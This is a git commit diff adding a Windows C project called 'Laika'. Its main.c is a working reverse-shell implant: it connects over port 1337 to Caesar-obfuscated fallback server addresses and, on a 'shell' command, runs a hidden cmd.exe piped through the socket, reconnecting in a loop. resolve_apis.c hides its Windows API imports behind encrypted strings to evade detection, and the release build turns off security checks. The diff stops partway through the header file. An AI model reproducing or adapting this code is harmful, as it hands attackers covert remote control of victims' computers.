premier commit
This commit is contained in:
2
.gitignore
vendored
Normal file
2
.gitignore
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
Laika/.vs
|
||||
Laika/release
|
||||
31
Laika/Laika.sln
Normal file
31
Laika/Laika.sln
Normal file
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.1.32407.343
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Laika", "Laika.vcxproj", "{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.Build.0 = Debug|x64
|
||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.Build.0 = Debug|Win32
|
||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.ActiveCfg = Release|x64
|
||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.Build.0 = Release|x64
|
||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.ActiveCfg = Release|Win32
|
||||
{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {40DA52A8-9E2F-46BC-AA9A-205BF4863D68}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
167
Laika/Laika.vcxproj
Normal file
167
Laika/Laika.vcxproj
Normal file
@@ -0,0 +1,167 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{6c8dd8fe-e960-43b4-b757-effa9fe6bb00}</ProjectGuid>
|
||||
<RootNamespace>Laika</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Label="Vcpkg">
|
||||
<VcpkgEnabled>false</VcpkgEnabled>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>main</EntryPointSymbol>
|
||||
<StackReserveSize>
|
||||
</StackReserveSize>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c" />
|
||||
<ClCompile Include="resolve_apis.c" />
|
||||
<ClCompile Include="utils.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resolve_apis.h" />
|
||||
<ClInclude Include="utils.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
30
Laika/Laika.vcxproj.filters
Normal file
30
Laika/Laika.vcxproj.filters
Normal file
@@ -0,0 +1,30 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Init">
|
||||
<UniqueIdentifier>{e821bc06-aaf9-438e-91a3-8a3220e3c3f6}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Libs">
|
||||
<UniqueIdentifier>{9e95c751-2cb6-4c1e-9f06-96b14532a979}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>Init</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="utils.c">
|
||||
<Filter>Libs</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="resolve_apis.c">
|
||||
<Filter>Libs</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="utils.h">
|
||||
<Filter>Libs</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="resolve_apis.h">
|
||||
<Filter>Libs</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
4
Laika/Laika.vcxproj.user
Normal file
4
Laika/Laika.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
279
Laika/main.c
Normal file
279
Laika/main.c
Normal file
@@ -0,0 +1,279 @@
|
||||
#include <Windows.h>
|
||||
#include <shlobj_core.h>
|
||||
#include <wininet.h>
|
||||
#include "utils.h"
|
||||
#include "resolve_apis.h"
|
||||
|
||||
#define Sleep_TIME 30
|
||||
|
||||
HANDLE g_hChildStd_IN_Rd = NULL;
|
||||
HANDLE g_hChildStd_IN_Wr = NULL;
|
||||
HANDLE g_hChildStd_OUT_Rd = NULL;
|
||||
HANDLE g_hChildStd_OUT_Wr = NULL;
|
||||
|
||||
extern API Api;
|
||||
|
||||
#define BUFFER_SIZE 4096
|
||||
|
||||
DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
|
||||
SOCKET sock = (SOCKET)lpParameter;
|
||||
char* buffer = (char*)Api.malloc(BUFFER_SIZE);
|
||||
DWORD bytesRead;
|
||||
|
||||
while (1) {
|
||||
//Read data from the socket
|
||||
Api.memset(buffer, 0, BUFFER_SIZE);
|
||||
bytesRead = Api.recv(sock, buffer, BUFFER_SIZE, 0);
|
||||
if (bytesRead > 0) {
|
||||
Api.WriteFile(g_hChildStd_IN_Wr, CAESAR_DECRYPT(buffer), bytesRead, NULL, NULL);
|
||||
//Api.WriteFile(g_hChildStd_IN_Wr, buffer, bytesRead, NULL, NULL);
|
||||
}
|
||||
else if (bytesRead == SOCKET_ERROR) {
|
||||
break;
|
||||
}
|
||||
else {
|
||||
Api.Sleep(50);
|
||||
}
|
||||
}
|
||||
|
||||
Api.free(buffer);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI redirect_o_thread(LPVOID lpParameter) {
|
||||
SOCKET sock = (SOCKET)lpParameter;
|
||||
char* buffer = (char*)Api.malloc(BUFFER_SIZE);
|
||||
DWORD bytesRead;
|
||||
|
||||
while (1) {
|
||||
// Read data from the child process's stdout pipe
|
||||
if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, BUFFER_SIZE, &bytesRead, NULL)) {
|
||||
Api.send(sock, CAESAR(buffer), bytesRead, 0);
|
||||
//Api.send(sock, buffer, bytesRead, 0);
|
||||
}
|
||||
else {
|
||||
DWORD error = Api.GetLastError();
|
||||
if (error == ERROR_BROKEN_PIPE) {
|
||||
//pipe closed by the process
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Api.free(buffer);
|
||||
return 0;
|
||||
}
|
||||
|
||||
typedef struct t_watch_process_args {
|
||||
SOCKET sock;
|
||||
HANDLE process;
|
||||
}watch_process_args;
|
||||
|
||||
int should_reset = 0;
|
||||
DWORD WINAPI watch_process(LPVOID lpParameter) {
|
||||
watch_process_args* args = (watch_process_args*)(lpParameter);
|
||||
|
||||
char buffer[1]; // buffer to hold the data
|
||||
int n;
|
||||
|
||||
while (1) {
|
||||
n = Api.recv(args->sock, buffer, sizeof(buffer), MSG_PEEK);
|
||||
if (n > 0) {
|
||||
// There is data available on the socket, so the connection is still alive
|
||||
}
|
||||
else if (n == 0) {
|
||||
// The connection has been closed
|
||||
break;
|
||||
}
|
||||
else {
|
||||
// An error occurred
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Api.TerminateProcess(args->process, -1);
|
||||
should_reset = 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void SendShellEndedSignal(SOCKET sock) {
|
||||
if (Api.send(sock, "Qfnpf?%xjxxnts%jsiji", strlen("Qfnpf?%xjxxnts%jsiji"), 0) < 0) //Laika: session ended
|
||||
{
|
||||
//send failed
|
||||
}
|
||||
}
|
||||
|
||||
#define FALLBACK_SERVERS 4
|
||||
|
||||
char* fallback_servers[4];
|
||||
int serv = -1;
|
||||
int main() {
|
||||
InitApis();
|
||||
|
||||
Message();
|
||||
|
||||
fallback_servers[0] = CAESAR_DECRYPT("6>736;=3638:");
|
||||
fallback_servers[1] = CAESAR_DECRYPT("");
|
||||
fallback_servers[2] = CAESAR_DECRYPT("");
|
||||
fallback_servers[3] = CAESAR_DECRYPT("6>736;=36397");
|
||||
|
||||
Tmemset memset = Api.memset;
|
||||
|
||||
wchar_t wtext[20];
|
||||
Api.mbstowcs(wtext, CAESAR_DECRYPT("hri3j}j"), strlen(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null
|
||||
LPWSTR cmd_char = wtext;
|
||||
|
||||
int sock;
|
||||
int first = 1;
|
||||
struct sockaddr_in server;
|
||||
char* server_reply = (char*)Api.malloc(BUFFER_SIZE);
|
||||
server.sin_family = AF_INET;
|
||||
server.sin_port = Api.htons(1337);
|
||||
|
||||
WORD wVersionRequested = MAKEWORD(2, 2);
|
||||
WSADATA wsaData;
|
||||
Api.WSAStartup(wVersionRequested, &wsaData);
|
||||
|
||||
retry:
|
||||
if (!first) {
|
||||
Api.closesocket(sock);
|
||||
}
|
||||
else {
|
||||
first = 0;
|
||||
}
|
||||
|
||||
serv++;
|
||||
if (serv > FALLBACK_SERVERS-1) {
|
||||
serv = 0;
|
||||
}
|
||||
server.sin_addr.s_addr = Api.inet_addr(fallback_servers[serv]);
|
||||
|
||||
//Create socket
|
||||
sock = Api.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (sock == -1)
|
||||
{
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
//Connect to remote server
|
||||
if (Api.connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0)
|
||||
{
|
||||
//connect failed
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
//keep communicating with server
|
||||
while (1)
|
||||
{
|
||||
//Send some data
|
||||
/*
|
||||
if (Api.send(sock, "Wjfi~3\xf", strlen("Wjfi~3\xf"), 0) < 0) //Ready.\n
|
||||
{
|
||||
//send failed
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
*/
|
||||
|
||||
//Receive a reply from the server
|
||||
if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) < 0)
|
||||
{
|
||||
//recv failed
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
|
||||
// Set the socket as standard output and error
|
||||
SECURITY_ATTRIBUTES sa;
|
||||
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||
sa.bInheritHandle = TRUE;
|
||||
sa.lpSecurityDescriptor = NULL;
|
||||
if (!Api.CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0)) {
|
||||
SendShellEndedSignal(sock);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
if (!Api.CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &sa, 0)) {
|
||||
SendShellEndedSignal(sock);
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
// Create a thread to read from the pipes and write to the socket
|
||||
HANDLE hThread = Api.CreateThread(NULL, 0, &redirect_i_thread, (LPVOID)sock, 0, NULL);
|
||||
HANDLE hThread2 = Api.CreateThread(NULL, 0, &redirect_o_thread, (LPVOID)sock, 0, NULL);
|
||||
|
||||
// Create the process
|
||||
STARTUPINFO si;
|
||||
ZeroMemory(&si, sizeof(STARTUPINFO));
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.hStdError = g_hChildStd_OUT_Wr;
|
||||
si.hStdOutput = g_hChildStd_OUT_Wr;
|
||||
si.hStdInput = g_hChildStd_IN_Rd;
|
||||
si.dwFlags |= STARTF_USESTDHANDLES;
|
||||
|
||||
PROCESS_INFORMATION pi;
|
||||
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe
|
||||
SendShellEndedSignal(sock);
|
||||
Api.CloseHandle(g_hChildStd_OUT_Wr);
|
||||
Api.CloseHandle(g_hChildStd_IN_Rd);
|
||||
|
||||
if (hThread != NULL) {
|
||||
Api.TerminateThread(hThread, 0);
|
||||
Api.CloseHandle(hThread);
|
||||
}
|
||||
if (hThread2 != NULL) {
|
||||
Api.TerminateThread(hThread2, 0);
|
||||
Api.CloseHandle(hThread2);
|
||||
}
|
||||
|
||||
Sleep_(Sleep_TIME);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
watch_process_args args = { sock, pi.hProcess};
|
||||
HANDLE hThread3 = Api.CreateThread(NULL, 0, &watch_process, &args, 0, NULL);
|
||||
|
||||
// Wait for the process to finish
|
||||
Api.WaitForSingleObject(pi.hProcess, INFINITE);
|
||||
|
||||
SendShellEndedSignal(sock);
|
||||
|
||||
// Close the handles
|
||||
Api.CloseHandle(pi.hProcess);
|
||||
Api.CloseHandle(pi.hThread);
|
||||
Api.CloseHandle(g_hChildStd_OUT_Wr);
|
||||
Api.CloseHandle(g_hChildStd_IN_Rd);
|
||||
|
||||
if (hThread != NULL) {
|
||||
Api.TerminateThread(hThread, 0);
|
||||
Api.CloseHandle(hThread);
|
||||
}
|
||||
if (hThread2 != NULL) {
|
||||
Api.TerminateThread(hThread2, 0);
|
||||
Api.CloseHandle(hThread2);
|
||||
}
|
||||
if (hThread3 != NULL) {
|
||||
Api.TerminateThread(hThread3, 0);
|
||||
Api.CloseHandle(hThread3);
|
||||
}
|
||||
|
||||
if (should_reset) {
|
||||
should_reset = 0;
|
||||
goto retry;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Api.closesocket(sock);
|
||||
|
||||
FreeApis();
|
||||
|
||||
return 0;
|
||||
}
|
||||
59
Laika/resolve_apis.c
Normal file
59
Laika/resolve_apis.c
Normal file
@@ -0,0 +1,59 @@
|
||||
#include "resolve_apis.h"
|
||||
|
||||
API Api;
|
||||
HMODULE hWininet;
|
||||
HMODULE hMsvcrt;
|
||||
HMODULE hKernel32;
|
||||
|
||||
void InitApis() {
|
||||
// Dynamic loading functions
|
||||
hKernel32 = LoadLibraryA(CAESAR_DECRYPT("pjwsjq873iqq")); //kernel32.dll
|
||||
if (!hKernel32) {
|
||||
return;
|
||||
}
|
||||
|
||||
Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
|
||||
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
|
||||
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
|
||||
Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj"));
|
||||
Api.GetLastError = (TGetLastError)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQfxyJwwtw"));
|
||||
Api.CreatePipe = (TCreatePipe)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUnuj"));
|
||||
Api.WaitForSingleObject = (TWaitForSingleObject)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\fnyKtwXnslqjTgojhy"));
|
||||
Api.Sleep = (TSleep)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Xqjju"));
|
||||
Api.CreateThread = (TCreateThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjYmwjfi"));
|
||||
Api.TerminateThread = (TTerminateThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjYmwjfi"));
|
||||
Api.CreateProcessW = (TCreateProcessW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxx\\"));
|
||||
Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx"));
|
||||
Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~"));
|
||||
|
||||
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
|
||||
if (!hWininet) {
|
||||
return;
|
||||
}
|
||||
|
||||
Api.connect = (Tconnect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("htssjhy"));
|
||||
Api.socket = (Tsocket)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xthpjy"));
|
||||
Api.send = (Tsend)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjsi"));
|
||||
Api.recv = (Trecv)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("wjh{"));
|
||||
Api.closesocket = (Tclosesocket)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("hqtxjxthpjy"));
|
||||
Api.htons = (Thtons)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("mytsx"));
|
||||
Api.inet_addr = (Tinet_addr)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("nsjydfiiw"));
|
||||
Api.WSAStartup = (TWSAStartup)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFXyfwyzu"));
|
||||
Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw"));
|
||||
|
||||
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
|
||||
if (!hMsvcrt) {
|
||||
return;
|
||||
}
|
||||
Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy"));
|
||||
Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth"));
|
||||
Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj"));
|
||||
Api.strncmp = (Tstrncmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywshru"));
|
||||
Api.mbstowcs = (Tmbstowcs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rgxyt|hx"));
|
||||
}
|
||||
|
||||
void FreeApis() {
|
||||
Api.FreeLibrary(hWininet);
|
||||
Api.FreeLibrary(hMsvcrt);
|
||||
Api.FreeLibrary(hKernel32);
|
||||
}
|
||||
73
Laika/resolve_apis.h
Normal file
73
Laika/resolve_apis.h
Normal file
@@ -0,0 +1,73 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <shlobj_core.h>
|
||||
#include <wininet.h>
|
||||
#include <winsock.h>
|
||||
#include "utils.h"
|
||||
|
||||
|
||||
typedef BOOL(WINAPI* Tconnect)(SOCKET, const SOCKADDR*, int);
|
||||
typedef BOOL(WINAPI* Tsend)(SOCKET, const char*, int, int);
|
||||
typedef BOOL(WINAPI* Trecv)(SOCKET, char*, int, int);
|
||||
typedef BOOL(WINAPI* Tclosesocket)(SOCKET);
|
||||
typedef u_short(WINAPI* Thtons)(u_short);
|
||||
typedef u_long(WINAPI* Tinet_addr)(const char*);
|
||||
typedef SOCKET(WINAPI* Tsocket)(int, int, int);
|
||||
typedef int(WINAPI* TWSAStartup)(WORD, LPWSADATA);
|
||||
typedef int(WINAPI* TWSAGetLastError)(void);
|
||||
|
||||
typedef void* (WINAPI* Tmemset)(void*, int, size_t);
|
||||
typedef void* (WINAPI* Tmalloc)(size_t);
|
||||
typedef void(WINAPI* Tfree)(void*);
|
||||
typedef int(WINAPI* Tstrncmp)(const char*, const char*, size_t);
|
||||
typedef size_t(WINAPI* Tmbstowcs)(wchar_t*, const char*, size_t);
|
||||
|
||||
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
typedef BOOL(WINAPI* TCloseHandle)(HANDLE);
|
||||
typedef DWORD(WINAPI* TGetLastError)(void);
|
||||
typedef BOOL(WINAPI* TCreatePipe)(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD);
|
||||
typedef BOOL(WINAPI* TWaitForSingleObject)(HANDLE, DWORD);
|
||||
typedef void(WINAPI* TSleep)(DWORD);
|
||||
typedef HANDLE(WINAPI* TCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
